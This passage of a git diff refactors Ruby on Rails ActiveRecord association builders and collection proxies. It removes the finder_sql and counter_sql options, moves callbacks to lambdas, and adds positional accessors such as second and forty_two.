-        def belongs_to_counter_cache_after_create_for_#{name}
-          if record = #{name}
-            record.class.increment_counter(:#{cache_column}, record.id)
+      mixin.class_eval do
+        def belongs_to_counter_cache_after_create(reflection)
+          if record = send(reflection.name)
+            cache_column = reflection.counter_cache_column
+            record.class.increment_counter(cache_column, record.id)
             @_after_create_counter_called = true
           end
         end
 
-        def belongs_to_counter_cache_before_destroy_for_#{name}
-          unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == #{foreign_key.to_sym.inspect}
-            record = #{name}
+        def belongs_to_counter_cache_before_destroy(reflection)
+          foreign_key = reflection.foreign_key.to_sym
+          unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
+            record = send reflection.name
             if record && !self.destroyed?
-              record.class.decrement_counter(:#{cache_column}, record.id)
+              cache_column = reflection.counter_cache_column
+              record.class.decrement_counter(cache_column, record.id)
             end
           end
         end
 
-        def belongs_to_counter_cache_after_update_for_#{name}
+        def belongs_to_counter_cache_after_update(reflection)
+          foreign_key  = reflection.foreign_key
+          cache_column = reflection.counter_cache_column
+
           if (@_after_create_counter_called ||= false)
             @_after_create_counter_called = false
-          elsif self.#{foreign_key}_changed? && !new_record? && defined?(#{name.to_s.camelize})
-            model = #{name.to_s.camelize}
-            foreign_key_was = self.#{foreign_key}_was
-            foreign_key = self.#{foreign_key}
+          elsif attribute_changed?(foreign_key) && !new_record? && reflection.constructable?
+            model           = reflection.klass
+            foreign_key_was = attribute_was foreign_key
+            foreign_key     = attribute foreign_key
 
             if foreign_key && model.respond_to?(:increment_counter)
-              model.increment_counter(:#{cache_column}, foreign_key)
+              model.increment_counter(cache_column, foreign_key)
             end
             if foreign_key_was && model.respond_to?(:decrement_counter)
-              model.decrement_counter(:#{cache_column}, foreign_key_was)
+              model.decrement_counter(cache_column, foreign_key_was)
             end
           end
         end
-      CODE
+      end
+    end
+
+    def self.add_counter_cache_callbacks(model, reflection)
+      cache_column = reflection.counter_cache_column
+
+      model.after_create lambda { |record|
+        record.belongs_to_counter_cache_after_create(reflection)
+      }
 
-      model.after_create   "belongs_to_counter_cache_after_create_for_#{name}"
-      model.before_destroy "belongs_to_counter_cache_before_destroy_for_#{name}"
-      model.after_update   "belongs_to_counter_cache_after_update_for_#{name}"
+      model.before_destroy lambda { |record|
+        record.belongs_to_counter_cache_before_destroy(reflection)
+      }
+
+      model.after_update lambda { |record|
+        record.belongs_to_counter_cache_after_update(reflection)
+      }
 
       klass = reflection.class_name.safe_constantize
       klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
     end
 
-    def add_touch_callbacks(reflection)
-      mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
-        def belongs_to_touch_after_save_or_destroy_for_#{name}
-          foreign_key_field = #{reflection.foreign_key.inspect}
-          old_foreign_id    = changed_attributes[foreign_key_field]
-
-          if old_foreign_id
-            klass      = association(#{name.inspect}).klass
-            old_record = klass.find_by(klass.primary_key => old_foreign_id)
+    def self.touch_record(o, foreign_key, name, touch) # :nodoc:
+      old_foreign_id = o.changed_attributes[foreign_key]
 
-            if old_record
-              old_record.touch #{options[:touch].inspect if options[:touch] != true}
-            end
-          end
+      if old_foreign_id
+        association = o.association(name)
+        reflection = association.reflection
+        if reflection.polymorphic?
+          klass = o.public_send("#{reflection.foreign_type}_was").constantize
+        else
+          klass = association.klass
+        end
+        old_record = klass.find_by(klass.primary_key => old_foreign_id)
 
-          record = #{name}
-          unless record.nil? || record.new_record?
-            record.touch #{options[:touch].inspect if options[:touch] != true}
+        if old_record
+          if touch != true
+            old_record.touch touch
+          else
+            old_record.touch
           end
         end
-      CODE
-
-      model.after_save    "belongs_to_touch_after_save_or_destroy_for_#{name}"
-      model.after_touch   "belongs_to_touch_after_save_or_destroy_for_#{name}"
-      model.after_destroy "belongs_to_touch_after_save_or_destroy_for_#{name}"
+      end
+
+      record = o.send name
+      if record && record.persisted?
+        if touch != true
+          record.touch touch
+        else
+          record.touch
+        end
+      end
     end
 
-    def valid_dependent_options
-      [:destroy, :delete]
+    def self.add_touch_callbacks(model, reflection)
+      foreign_key = reflection.foreign_key
+      n           = reflection.name
+      touch       = reflection.options[:touch]
+
+      callback = lambda { |record|
+        BelongsTo.touch_record(record, foreign_key, n, touch)
+      }
+
+      model.after_save    callback
+      model.after_touch   callback
+      model.after_destroy callback
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index fdead16..bc15a49 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -1,3 +1,5 @@
+# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
+
 require 'active_record/associations'
 
 module ActiveRecord::Associations::Builder
@@ -6,67 +8,57 @@ module ActiveRecord::Associations::Builder
     CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
 
     def valid_options
-      super + [:table_name, :finder_sql, :counter_sql, :before_add,
+      super + [:table_name, :before_add,
                :after_add, :before_remove, :after_remove, :extend]
     end
 
-    attr_reader :block_extension, :extension_module
-
-    def initialize(*args, &extension)
-      super(*args)
-      @block_extension = extension
-    end
+    attr_reader :block_extension
 
-    def build
-      show_deprecation_warnings
-      wrap_block_extension
-      reflection = super
-      CALLBACKS.each { |callback_name| define_callback(callback_name) }
-      reflection
+    def initialize(model, name, scope, options)
+      super
+      @mod = nil
+      if block_given?
+        @mod = Module.new(&Proc.new)
+        @scope = wrap_scope @scope, @mod
+      end
     end
 
-    def writable?
-      true
+    def self.define_callbacks(model, reflection)
+      super
+      name    = reflection.name
+      options = reflection.options
+      CALLBACKS.each { |callback_name|
+        define_callback(model, callback_name, name, options)
+      }
     end
 
-    def show_deprecation_warnings
-      [:finder_sql, :counter_sql].each do |name|
-        if options.include? name
-          ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using scopes).")
-        end
+    def define_extensions(model)
+      if @mod
+        extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+        model.parent.const_set(extension_module_name, @mod)
       end
     end
 
-    def wrap_block_extension
-      if block_extension
-        @extension_module = mod = Module.new(&block_extension)
-        silence_warnings do
-          model.parent.const_set(extension_module_name, mod)
-        end
-
-        prev_scope = @scope
+    def self.define_callback(model, callback_name, name, options)
+      full_callback_name = "#{callback_name}_for_#{name}"
 
-        if prev_scope
-          @scope = proc { |owner| instance_exec(owner, &prev_scope).extending(mod) }
+      # TODO : why do i need method_defined? I think its because of the inheritance chain
+      model.class_attribute full_callback_name unless model.method_defined?(full_callback_name)
+      callbacks = Array(options[callback_name.to_sym]).map do |callback|
+        case callback
+        when Symbol
+          ->(method, owner, record) { owner.send(callback, record) }
+        when Proc
+          ->(method, owner, record) { callback.call(owner, record) }
         else
-          @scope = proc { extending(mod) }
+          ->(method, owner, record) { callback.send(method, owner, record) }
         end
       end
+      model.send "#{full_callback_name}=", callbacks
     end
 
-    def extension_module_name
-      @extension_module_name ||= "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
-    end
-
-    def define_callback(callback_name)
-      full_callback_name = "#{callback_name}_for_#{name}"
-
-      # TODO : why do i need method_defined? I think its because of the inheritance chain
-      model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
-      model.send("#{full_callback_name}=", Array(options[callback_name.to_sym]))
-    end
-
-    def define_readers
+    # Defines the setter and getter methods for the collection_singular_ids.
+    def self.define_readers(mixin, name)
       super
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -76,7 +68,7 @@ module ActiveRecord::Associations::Builder
       CODE
     end
 
-    def define_writers
+    def self.define_writers(mixin, name)
       super
 
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -85,5 +77,15 @@ module ActiveRecord::Associations::Builder
         end
       CODE
     end
+
+    private
+
+    def wrap_scope(scope, mod)
+      if scope
+        proc { |owner| instance_exec(owner, &scope).extending(mod) }
+      else
+        proc { extending(mod) }
+      end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index bdac02b..34a555d 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,39 +1,124 @@
 module ActiveRecord::Associations::Builder
-  class HasAndBelongsToMany < CollectionAssociation #:nodoc:
-    def macro
-      :has_and_belongs_to_many
-    end
+  class HasAndBelongsToMany # :nodoc:
+    class JoinTableResolver
+      KnownTable = Struct.new :join_table
+
+      class KnownClass
+        def initialize(lhs_class, rhs_class_name)
+          @lhs_class      = lhs_class
+          @rhs_class_name = rhs_class_name
+          @join_table     = nil
+        end
+
+        def join_table
+          @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+        end
+
+        private
+
+        def klass
+          @lhs_class.send(:compute_type, @rhs_class_name)
+        end
+      end
 
-    def valid_options
-      super + [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+      def self.build(lhs_class, name, options)
+        if options[:join_table]
+          KnownTable.new options[:join_table].to_s
+        else
+          class_name = options.fetch(:class_name) {
+            name.to_s.camelize.singularize
+          }
+          KnownClass.new lhs_class, class_name
+        end
+      end
     end
 
-    def build
-      reflection = super
-      define_destroy_hook
-      reflection
+    attr_reader :lhs_model, :association_name, :options
+
+    def initialize(association_name, lhs_model, options)
+      @association_name = association_name
+      @lhs_model = lhs_model
+      @options = options
     end
 
-    def show_deprecation_warnings
-      super
+    def through_model
+      habtm = JoinTableResolver.build lhs_model, association_name, options
+
+      join_model = Class.new(ActiveRecord::Base) {
+        class << self;
+          attr_accessor :class_resolver
+          attr_accessor :name
+          attr_accessor :table_name_resolver
+          attr_accessor :left_reflection
+          attr_accessor :right_reflection
+        end
+
+        def self.table_name
+          table_name_resolver.join_table
+        end
 
-      [:delete_sql, :insert_sql].each do |name|
-        if options.include? name
-          ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using has_many :through).")
+        def self.compute_type(class_name)
+          class_resolver.compute_type class_name
         end
+
+        def self.add_left_association(name, options)
+          belongs_to name, options
+          self.left_reflection = _reflect_on_association(name)
+        end
+
+        def self.add_right_association(name, options)
+          rhs_name = name.to_s.singularize.to_sym
+          belongs_to rhs_name, options
+          self.right_reflection = _reflect_on_association(rhs_name)
+        end
+
+      }
+
+      join_model.name                = "HABTM_#{association_name.to_s.camelize}"
+      join_model.table_name_resolver = habtm
+      join_model.class_resolver      = lhs_model
+
+      join_model.add_left_association :left_side, class: lhs_model
+      join_model.add_right_association association_name, belongs_to_options(options)
+      join_model
+    end
+
+    def middle_reflection(join_model)
+      middle_name = [lhs_model.name.downcase.pluralize,
+                     association_name].join('_').gsub(/::/, '_').to_sym
+      middle_options = middle_options join_model
+      hm_builder = HasMany.create_builder(lhs_model,
+                                          middle_name,
+                                          nil,
+                                          middle_options)
+      hm_builder.build lhs_model
+    end
+
+    private
+
+    def middle_options(join_model)
+      middle_options = {}
+      middle_options[:class] = join_model
+      middle_options[:source] = join_model.left_reflection.name
+      if options.key? :foreign_key
+        middle_options[:foreign_key] = options[:foreign_key]
       end
+      middle_options
     end
 
-    def define_destroy_hook
-      name = self.name
-      model.send(:include, Module.new {
-        class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def destroy_associations
-            association(:#{name}).delete_all
-            super
-          end
-        RUBY
-      })
+    def belongs_to_options(options)
+      rhs_options = {}
+
+      if options.key? :class_name
+        rhs_options[:foreign_key] = options[:class_name].foreign_key
+        rhs_options[:class_name] = options[:class_name]
+      end
+
+      if options.key? :association_foreign_key
+        rhs_options[:foreign_key] = options[:association_foreign_key]
+      end
+
+      rhs_options
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index 0d1bdd2..4c8c826 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -5,11 +5,11 @@ module ActiveRecord::Associations::Builder
     end
 
     def valid_options
-      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
+      super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table]
     end
 
-    def valid_dependent_options
-      [:destroy, :delete_all, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+    def self.valid_dependent_options
+      [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 0da564f..f359efd 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -10,16 +10,14 @@ module ActiveRecord::Associations::Builder
       valid
     end
 
-    def constructable?
-      !options[:through]
+    def self.valid_dependent_options
+      [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
     end
 
-    def configure_dependency
-      super unless options[:through]
-    end
+    private
 
-    def valid_dependent_options
-      [:destroy, :delete, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+    def self.add_before_destroy_callbacks(model, reflection)
+      super unless reflection.options[:through]
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 6a5830e..e655c38 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,19 +1,18 @@
+# This class is inherited by the has_one and belongs_to association classes
+
 module ActiveRecord::Associations::Builder
   class SingularAssociation < Association #:nodoc:
     def valid_options
-      super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
-    end
-
-    def constructable?
-      true
+      super + [:remote, :dependent, :primary_key, :inverse_of]
     end
 
-    def define_accessors
+    def self.define_accessors(model, reflection)
       super
-      define_constructors if constructable?
+      define_constructors(model.generated_association_methods, reflection.name) if reflection.constructable?
     end
 
-    def define_constructors
+    # Defines the (build|create)_association methods for belongs_to or has_one association
+    def self.define_constructors(mixin, name)
       mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
         def build_#{name}(*args, &block)
           association(:#{name}).build(*args, &block)
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 10ea669..398fdec 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -4,10 +4,9 @@ module ActiveRecord
     #
     # CollectionAssociation is an abstract class that provides common stuff to
     # ease the implementation of association proxies that represent
-    # collections. See the class hierarchy in AssociationProxy.
+    # collections. See the class hierarchy in Association.
     #
     #   CollectionAssociation:
-    #     HasAndBelongsToManyAssociation => has_and_belongs_to_many
     #     HasManyAssociation => has_many
     #       HasManyThroughAssociation + ThroughAssociation => has_many :through
     #
@@ -34,7 +33,7 @@ module ActiveRecord
           reload
         end
 
-        @proxy ||= CollectionProxy.new(klass, self)
+        @proxy ||= CollectionProxy.create(klass, self)
       end
 
       # Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -44,7 +43,7 @@ module ActiveRecord
 
       # Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
       def ids_reader
-        if loaded? || options[:finder_sql]
+        if loaded?
           load_target.map do |record|
             record.send(reflection.association_primary_key)
           end
@@ -67,11 +66,11 @@ module ActiveRecord
         @target = []
       end
 
-      def select(select = nil)
+      def select(*fields)
         if block_given?
           load_target.select.each { |e| yield e }
         else
-          scope.select(select)
+          scope.select(*fields)
         end
       end
 
@@ -79,12 +78,9 @@ module ActiveRecord
         if block_given?
           load_target.find(*args) { |*block_args| yield(*block_args) }
         else
-          if options[:finder_sql]
-            find_by_scan(*args)
-          elsif options[:inverse_of] && loaded?
+          if options[:inverse_of] && loaded?
             args_flatten = args.flatten
             raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
-
             result = find_by_scan(*args)
 
             result_size = Array(result).size
@@ -100,11 +96,31 @@ module ActiveRecord
       end
 
       def first(*args)
-        first_or_last(:first, *args)
+        first_nth_or_last(:first, *args)
+      end
+
+      def second(*args)
+        first_nth_or_last(:second, *args)
+      end
+
+      def third(*args)
+        first_nth_or_last(:third, *args)
+      end
+
+      def fourth(*args)
+        first_nth_or_last(:fourth, *args)
+      end
+
+      def fifth(*args)
+        first_nth_or_last(:fifth, *args)
+      end
+
+      def forty_two(*args)
+        first_nth_or_last(:forty_two, *args)
       end
 
       def last(*args)
-        first_or_last(:last, *args)
+        first_nth_or_last(:last, *args)
       end
 
       def build(attributes = {}, &block)
@@ -118,11 +134,11 @@ module ActiveRecord
       end
 
       def create(attributes = {}, &block)
-        create_record(attributes, &block)
+        _create_record(attributes, &block)
       end
 
       def create!(attributes = {}, &block)
-        create_record(attributes, true, &block)
+        _create_record(attributes, true, &block)
       end
 
       # Add +records+ to this association. Returns +self+ so method calls may
@@ -153,11 +169,33 @@ module ActiveRecord
         end
       end
 
-      # Remove all records from this association.
+      # Removes all records from the association without calling callbacks
+      # on the associated records. It honors the `:dependent` option. However
+      # if the `:dependent` value is `:destroy` then in that case the `:delete_all`
+      # deletion strategy for the association is applied.
+      #
+      # You can force a particular deletion strategy by passing a parameter.
+      #
+      # Example:
+      #
+      # @author.books.delete_all(:nullify)
+      # @author.books.delete_all(:delete_all)
       #
       # See delete for more info.
-      def delete_all
-        delete(:all).tap do
+      def delete_all(dependent = nil)
+        if dependent.present? && ![:nullify, :delete_all].include?(dependent)
+          raise ArgumentError, "Valid values are :nullify or :delete_all"
+        end
+
+        dependent = if dependent.present?
+                      dependent
+                    elsif options[:dependent] == :destroy
+                      :delete_all
+                    else
+                      options[:dependent]
+                    end
+
+        delete(:all, dependent: dependent).tap do
           reset
           loaded!
         end
@@ -173,36 +211,29 @@ module ActiveRecord
         end
       end
 
-      # Count all records using SQL. If the +:counter_sql+ or +:finder_sql+ option is set for the
-      # association, it will be used for the query. Otherwise, construct options and pass them with
+      # Count all records using SQL.  Construct options and pass them with
       # scope to the target class's +count+.
       def count(column_name = nil, count_options = {})
+        # TODO: Remove count_options argument as soon we remove support to
+        # activerecord-deprecated_finders.
         column_name, count_options = nil, column_name if column_name.is_a?(Hash)
 
-        if options[:counter_sql] || options[:finder_sql]
-          unless count_options.blank?
-            raise ArgumentError, "If finder_sql/counter_sql is used then options cannot be passed"
-          end
-
-          reflection.klass.count_by_sql(custom_counter_sql)
-        else
-          relation = scope
-          if association_scope.distinct_value
-            # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
-            column_name ||= reflection.klass.primary_key
-            relation = relation.distinct
-          end
+        relation = scope
+        if association_scope.distinct_value
+          # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
+          column_name ||= reflection.klass.primary_key
+          relation = relation.distinct
+        end
 
-          value = relation.count(column_name)
+        value = relation.count(column_name)
 
-          limit  = options[:limit]
-          offset = options[:offset]
+        limit  = options[:limit]
+        offset = options[:offset]
 
-          if limit || offset
-            [ [value - offset.to_i, 0].max, limit.to_i ].min
-          else
-            value
-          end
+        if limit || offset
+          [ [value - offset.to_i, 0].max, limit.to_i ].min
+        else
+          value
         end
       end
 
@@ -214,19 +245,11 @@ module ActiveRecord
       # are actually removed from the database, that depends precisely on
       # +delete_records+. They are in any case removed from the collection.
       def delete(*records)
-        dependent = options[:dependent]
+        _options = records.extract_options!
+        dependent = _options[:dependent] || options[:dependent]
 
         if records.first == :all
-
-          if dependent && dependent == :destroy
-            message = 'In Rails 4.1 delete_all on associations would not fire callbacks. ' \
-                      'It means if the :dependent option is :destroy then the associated ' \
-                      'records would be deleted without loading and invoking callbacks.'
-
-            ActiveRecord::Base.logger ? ActiveRecord::Base.logger.warn(message) : $stderr.puts(message)
-          end
-
-          if loaded? || dependent == :destroy
+          if (loaded? || dependent == :destroy) && dependent != :delete_all
             delete_or_destroy(load_target, dependent)
           else
             delete_records(:all, dependent)
@@ -237,11 +260,11 @@ module ActiveRecord
         end
       end
 
-      # Destroy +records+ and remove them from this association calling
-      # +before_remove+ and +after_remove+ callbacks.
+      # Deletes the +records+ and removes them from this association calling
+      # +before_remove+ , +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
       #
-      # Note that this method will _always_ remove records from the database
-      # ignoring the +:dependent+ option.
+      # Note that this method removes records from the database ignoring the
+      # +:dependent+ option.
       def destroy(*records)
         records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
         delete_or_destroy(records, :destroy)
@@ -285,14 +308,14 @@ module ActiveRecord
 
       # Returns true if the collection is empty.
       #
-      # If the collection has been loaded or the <tt>:counter_sql</tt> option
-      # is provided, it is equivalent to <tt>collection.size.zero?</tt>. If the
+      # If the collection has been loaded
+      # it is equivalent to <tt>collection.size.zero?</tt>. If the
       # collection has not been loaded, it is equivalent to
       # <tt>collection.exists?</tt>. If the collection has not already been
       # loaded and you are going to fetch the records anyway it is better to
       # check <tt>collection.length.zero?</tt>.
       def empty?
-        if loaded? || options[:counter_sql]
+        if loaded?
           size.zero?
         else
           @target.blank? && !scope.exists?
@@ -345,7 +368,6 @@ module ActiveRecord
           if record.new_record?
             include_in_memory?(record)
           else
-            load_target if options[:finder_sql]
             loaded? ? target.include?(record) : scope.exists?(record)
           end
         else
@@ -362,8 +384,8 @@ module ActiveRecord
         target
       end
 
-      def add_to_target(record)
-        callback(:before_add, record)
+      def add_to_target(record, skip_callbacks = false)
+        callback(:before_add, record) unless skip_callbacks
         yield(record) if block_given?
 
         if association_scope.distinct_value && index = @target.index(record)
@@ -372,7 +394,7 @@ module ActiveRecord
           @target << record
         end
 
-        callback(:after_add, record)
+        callback(:after_add, record) unless skip_callbacks
         set_inverse_instance(record)
 
         record
@@ -390,31 +412,8 @@ module ActiveRecord
 
       private
 
-        def custom_counter_sql
-          if options[:counter_sql]
-            interpolate(options[:counter_sql])
-          else
-            # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
-            interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
-              count_with = $2.to_s
-              count_with = '*' if count_with.blank? || count_with =~ /,/ || count_with =~ /\.\*/
-              "SELECT #{$1}COUNT(#{count_with}) FROM"
-            end
-          end
-        end
-
-        def custom_finder_sql
-          interpolate(options[:finder_sql])
-        end
-
         def find_target
-          records =
-            if options[:finder_sql]
-              reflection.klass.find_by_sql(custom_finder_sql)
-            else
-              scope.to_a
-            end
-
+          records = scope.to_a
           records.each { |record| set_inverse_instance(record) }
           records
         end
@@ -449,13 +448,13 @@ module ActiveRecord
           persisted + memory
         end
 
-        def create_record(attributes, raise = false, &block)
+        def _create_record(attributes, raise = false, &block)
           unless owner.persisted?
             raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
           end
 
           if attributes.is_a?(Array)
-            attributes.collect { |attr| create_record(attr, raise, &block) }
+            attributes.collect { |attr| _create_record(attr, raise, &block) }
           else
             transaction do
               add_to_target(build_record(attributes)) do |record|
@@ -514,13 +513,13 @@ module ActiveRecord
           target
         end
 
-        def concat_records(records)
+        def concat_records(records, should_raise = false)
           result = true
 
           records.flatten.each do |record|
             raise_on_type_mismatch!(record)
             add_to_target(record) do |rec|
-              result &&= insert_record(rec) unless owner.new_record?
+              result &&= insert_record(rec, true, should_raise) unless owner.new_record?
             end
           end
 
@@ -529,20 +528,13 @@ module ActiveRecord
 
         def callback(method, record)
           callbacks_for(method).each do |callback|
-            case callback
-            when Symbol
-              owner.send(callback, record)
-            when Proc
-              callback.call(owner, record)
-            else
-              callback.send(method, owner, record)
-            end
+            callback.call(method, owner, record)
           end
         end
 
         def callbacks_for(callback_name)
           full_callback_name = "#{callback_name}_for_#{reflection.name}"
-          owner.class.send(full_callback_name.to_sym) || []
+          owner.class.send(full_callback_name)
         end
 
         # Should we deal with assoc.first or assoc.last by issuing an independent query to
@@ -553,24 +545,21 @@ module ActiveRecord
         # Otherwise, go to the database only if none of the following are true:
         #   * target already loaded
         #   * owner is new record
-        #   * custom :finder_sql exists
         #   * target contains new or changed record(s)
-        #   * the first arg is an integer (which indicates the number of records to be returned)
-        def fetch_first_or_last_using_find?(args)
+        def fetch_first_nth_or_last_using_find?(args)
           if args.first.is_a?(Hash)
             true
           else
             !(loaded? ||
               owner.new_record? ||
-              options[:finder_sql] ||
-              target.any? { |record| record.new_record? || record.changed? } ||
-              args.first.kind_of?(Integer))
+              target.any? { |record| record.new_record? || record.changed? })
           end
         end
 
         def include_in_memory?(record)
           if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
-            owner.send(reflection.through_reflection.name).any? { |source|
+            assoc = owner.association(reflection.through_reflection.name)
+            assoc.reader.any? { |source|
               target = source.send(reflection.source_reflection.name)
               target.respond_to?(:include?) ? target.include?(record) : target == record
             } || target.include?(record)
@@ -579,7 +568,7 @@ module ActiveRecord
           end
         end
 
-        # If using a custom finder_sql or if the :inverse_of option has been
+        # If the :inverse_of option has been
         # specified, then #find scans the entire collection.
         def find_by_scan(*args)
           expects_array = args.first.kind_of?(Array)
@@ -595,10 +584,10 @@ module ActiveRecord
         end
 
         # Fetches the first/last using SQL if possible, otherwise from the target array.
-        def first_or_last(type, *args)
+        def first_nth_or_last(type, *args)
           args.shift if args.first.is_a?(Hash) && args.first.empty?
 
-          collection = fetch_first_or_last_using_find?(args) ? scope : load_target
+          collection = fetch_first_nth_or_last_using_find?(args) ? scope : load_target
           collection.send(type, *args).tap do |record|
             set_inverse_instance record if record.is_a? ActiveRecord::Base
           end
diff --git a/activerecord/lib/active_record/associations/collection_proxy.rb b/activerecord/lib/active_record/associations/collection_proxy.rb
index d6902a7..5b71ed1 100644
--- a/activerecord/lib/active_record/associations/collection_proxy.rb
+++ b/activerecord/lib/active_record/associations/collection_proxy.rb
@@ -33,7 +33,6 @@ module ActiveRecord
       def initialize(klass, association) #:nodoc:
         @association = association
         super klass, klass.arel_table
-        self.default_scoped = true
         merge! association.scope(nullify: false)
       end
 
@@ -76,7 +75,7 @@ module ActiveRecord
       #   #      #<Pet id: nil, name: "Choo-Choo">
       #   #    ]
       #
-      #   person.pets.select([:id, :name])
+      #   person.pets.select(:id, :name )
       #   # => [
       #   #      #<Pet id: 1, name: "Fancy-Fancy">,
       #   #      #<Pet id: 2, name: "Spook">,
@@ -85,7 +84,7 @@ module ActiveRecord
       #
       # Be careful because this also means you're initializing a model
       # object with only the fields that you've selected. If you attempt
-      # to access a field that is not in the initialized record you'll
+      # to access a field except +id+ that is not in the initialized record you'll
       # receive:
       #
       #   person.pets.select(:name).first.person_id
@@ -107,13 +106,13 @@ module ActiveRecord
       #   #      #<Pet id: 2, name: "Spook">,
       #   #      #<Pet id: 3, name: "Choo-Choo">
       #   #    ]
-      def select(select = nil, &block)
-        @association.select(select, &block)
+      def select(*fields, &block)
+        @association.select(*fields, &block)
       end
 
       # Finds an object in the collection responding to the +id+. Uses the same
       # rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
-      # error if the object can not be found.
+      # error if the object cannot be found.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -171,6 +170,32 @@ module ActiveRecord
         @association.first(*args)
       end
 
+      # Same as +first+ except returns only the second record.
+      def second(*args)
+        @association.second(*args)
+      end
+
+      # Same as +first+ except returns only the third record.
+      def third(*args)
+        @association.third(*args)
+      end
+
+      # Same as +first+ except returns only the fourth record.
+      def fourth(*args)
+        @association.fourth(*args)
+      end
+
+      # Same as +first+ except returns only the fifth record.
+      def fifth(*args)
+        @association.fifth(*args)
+      end
+
+      # Same as +first+ except returns only the forty second record.
+      # Also known as accessing "the reddit".
+      def forty_two(*args)
+        @association.forty_two(*args)
+      end
+
       # Returns the last record, or the last +n+ records, from the collection.
       # If the collection is empty, the first form returns +nil+, and the second
       # form returns an empty array.
@@ -282,7 +307,7 @@ module ActiveRecord
       # so method calls may be chained.
       #
       #   class Person < ActiveRecord::Base
-      #     pets :has_many
+      #     has_many :pets
       #   end
       #
       #   person.pets.size # => 0
@@ -418,13 +443,13 @@ module ActiveRecord
       #
       #   Pet.find(1, 2, 3)
       #   # => ActiveRecord::RecordNotFound
-      def delete_all
-        @association.delete_all
+      def delete_all(dependent = nil)
+        @association.delete_all(dependent)
       end
 
-      # Deletes the records of the collection directly from the database.
-      # This will _always_ remove the records ignoring the +:dependent+
-      # option.
+      # Deletes the records of the collection directly from the database
+      # ignoring the +:dependent+ option. It invokes +before_remove+,
+      # +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -671,6 +696,8 @@ module ActiveRecord
       #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
       #   #    ]
       def count(column_name = nil, options = {})
+        # TODO: Remove options argument as soon we remove support to
+        # activerecord-deprecated_finders.
         @association.count(column_name, options)
       end
 
@@ -727,7 +754,7 @@ module ActiveRecord
       end
 
       # Returns +true+ if the collection is empty. If the collection has been
-      # loaded or the <tt>:counter_sql</tt> option is provided, it is equivalent
+      # loaded it is equivalent
       # to <tt>collection.size.zero?</tt>. If the collection has not been loaded,
       # it is equivalent to <tt>collection.exists?</tt>. If the collection has
       # not already been loaded and you are going to fetch the records anyway it
@@ -788,12 +815,12 @@ module ActiveRecord
       #     has_many :pets
       #   end
       #
-      #   person.pets.count #=> 1
